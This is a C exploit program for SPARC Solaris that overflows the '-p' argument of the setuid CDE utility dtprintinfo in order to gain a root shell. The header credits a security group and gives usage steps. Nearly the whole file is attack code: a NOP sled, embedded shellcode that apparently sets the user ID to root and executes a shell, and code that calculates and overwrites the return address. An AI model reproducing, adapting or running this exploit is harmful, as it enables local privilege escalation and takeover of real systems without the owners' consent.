/*=============================================================================
   ex_dtprintinfo.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
   [usage]
        % setenv DISPLAY yourdisplay  (ex. setenv DISPLAY 192.168.0.100:0.0)
        % gcc ex_dtprintinfo.c (This example program)
        % a.out
        #
  =============================================================================
*/
#define ADJUST      0
#define OFFSET      1144
#define STARTADR    724
#define BUFSIZE     900
#define NOP 0xa61cc013

static char   x[1000];
unsigned long ret_adr;
int i;

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

main()
{
	putenv("LANG=");
    for (i = 0; i < ADJUST; i++) x[i]=0x11;
    for (i = ADJUST; i < 900; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
	printf("jumping address : %lx\n",ret_adr);
	if ((ret_adr & 0xff) ==0 ){
		ret_adr -=16;
		printf("New jumping address : %lx\n",ret_adr);
	}
    for (i = ADJUST; i < 600 ; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    x[BUFSIZE]=0;
    execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}